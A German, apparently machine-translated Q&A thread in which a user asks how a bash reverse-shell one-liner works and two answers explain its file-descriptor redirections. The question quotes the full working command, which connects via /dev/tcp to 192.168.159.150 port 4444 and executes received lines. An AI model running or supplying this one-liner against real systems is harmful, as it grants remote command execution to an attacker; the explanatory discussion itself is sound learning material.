
Ich betreibe einige Sicherheitsrecherchen und frage mich, wie der folgende Codeausschnitt auf Unix-basierten Betriebssystemen funktioniert:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
Ich bin mir völlig bewusstWasdieser Code funktioniert (d. h. er richtet eine Reverse Shell zu 192.168.159.150 über Port 4444 ein), aber ich verstehe nicht, was diese Abschnitte bewirken:
exec 5<>
cat <&5
2>&5 >&5
Und ganz allgemein, wie diese Dinge zusammenpassen, um die Hülle zu bilden, die ich sehe.
Kann mir das jemand erklären oder mir den richtigen Weg zum Verständnis zeigen?
Danke
Antwort1
Ein kurzer Überblick:
exec 5<>
öffnet einen neuen Datei-Handle zum Lesen und Schreiben und benennt ihn dann5
cat <&5
liest aus diesem neu geöffneten Datei-Handle
2>&5 >&5
leitet die Ausgabe sowohl des Dateihandles 2
(stderr) als auch des Dateihandles 1
(stdout) zum Dateihandle um 5
. Das 1
ist in diesem Fall implizit, da bei der zweiten Umleitung keine Dateihandle-Nummer angegeben wurde.
Antwort2
Einige Teile Ihrer Frage werden beantwortetHier
Aber
- Dies definiert einen neuen Dateideskriptor mit der Nummer 5. Übrigens ist 0 STDIN, 1 ist STDOUT, 2 ist STDERR-Dateideskriptor
- Echo der Informationen, die über TCP, IP 192.168.159.150, Port 4444 empfangen werden
- Senden Sie STDERR und STDOUT an Filehandler 5, d. h. Netzwerk